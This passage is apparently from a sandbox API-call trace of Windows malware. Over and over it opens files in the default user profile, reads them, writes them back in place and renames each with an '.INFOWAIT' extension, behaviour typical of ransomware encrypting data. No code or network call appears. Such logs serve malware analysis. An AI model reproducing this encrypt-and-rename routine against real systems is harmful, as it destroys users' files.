lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db.INFOWAIT" [0142.507] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db.infowait")) returned 1 [0142.507] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.508] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.508] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.508] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.508] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x91 [0142.508] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.509] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.509] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x91, lpOverlapped=0x0) returned 1 [0142.510] VirtualAlloc (lpAddress=0x0, dwSize=0x91, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.510] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.510] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x91, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x91, lpOverlapped=0x0) returned 1 [0142.510] CloseHandle (hObject=0xad4) returned 1 [0142.510] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini" [0142.510] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini.INFOWAIT" [0142.510] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\desktop.ini.infowait")) returned 1 [0142.511] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.512] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.512] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.512] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.513] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x91 [0142.513] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.513] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.513] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x91, lpOverlapped=0x0) returned 1 [0142.514] VirtualAlloc (lpAddress=0x0, dwSize=0x91, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.515] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.515] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x91, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x91, lpOverlapped=0x0) returned 1 [0142.515] CloseHandle (hObject=0xad4) returned 1 [0142.515] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\desktop.ini") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\desktop.ini" [0142.515] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\desktop.ini.INFOWAIT" [0142.515] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\desktop.ini.infowait")) returned 1 [0142.515] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.516] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.516] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.516] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.517] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4000 [0142.517] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.517] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.517] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4000, lpOverlapped=0x0) returned 1 [0142.519] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.520] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.520] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4000, lpOverlapped=0x0) returned 1 [0142.520] CloseHandle (hObject=0xad4) returned 1 [0142.520] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" [0142.520] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat.INFOWAIT" [0142.520] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat.infowait")) returned 1 [0142.521] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.521] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.522] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.522] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.522] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x43 [0142.522] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.522] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.522] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x43, lpOverlapped=0x0) returned 1 [0142.523] VirtualAlloc (lpAddress=0x0, dwSize=0x43, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.524] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.524] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x43, lpOverlapped=0x0) returned 1 [0142.524] CloseHandle (hObject=0xad4) returned 1 [0142.524] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini" [0142.524] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini.INFOWAIT" [0142.524] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\desktop.ini.infowait")) returned 1 [0142.524] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.525] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.525] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.525] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.526] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8000 [0142.526] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.526] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.526] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x8000, lpOverlapped=0x0) returned 1 [0142.717] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.719] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.719] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x8000, lpOverlapped=0x0) returned 1 [0142.719] CloseHandle (hObject=0xad4) returned 1 [0142.719] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" [0142.719] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat.INFOWAIT" [0142.719] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat.infowait")) returned 1 [0142.720] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.721] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.721] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.721] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\mm5o9xqs\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.721] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x43 [0142.721] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.722] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.722] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x43, lpOverlapped=0x0) returned 1 [0142.723] VirtualAlloc (lpAddress=0x0, dwSize=0x43, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.723] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.723] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x43, lpOverlapped=0x0) returned 1 [0142.723] CloseHandle (hObject=0xad4) returned 1 [0142.723] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\desktop.ini") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\desktop.ini" [0142.723] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\desktop.ini.INFOWAIT" [0142.723] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\mm5o9xqs\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\mm5o9xqs\\desktop.ini.infowait")) returned 1 [0142.724] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.725] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.725] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.725] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\pmmr5k9k\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.725] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x43 [0142.725] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.725] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.725] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x43, lpOverlapped=0x0) returned 1 [0142.727] VirtualAlloc (lpAddress=0x0, dwSize=0x43, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.727] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.727] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x43, lpOverlapped=0x0) returned 1 [0142.727] CloseHandle (hObject=0xad4) returned 1 [0142.727] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\desktop.ini") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\desktop.ini" [0142.727] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\desktop.ini.INFOWAIT" [0142.727] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\pmmr5k9k\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\pmmr5k9k\\desktop.ini.infowait")) returned 1 [0142.728] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.729] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.729] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.729] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\rijuql1c\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.729] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x43 [0142.730] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.730] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.730] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x43, lpOverlapped=0x0) returned 1 [0142.731] VirtualAlloc (lpAddress=0x0, dwSize=0x43, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.731] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.731] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x43, lpOverlapped=0x0) returned 1 [0142.731] CloseHandle (hObject=0xad4) returned 1 [0142.731] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\desktop.ini") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\desktop.ini" [0142.732] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 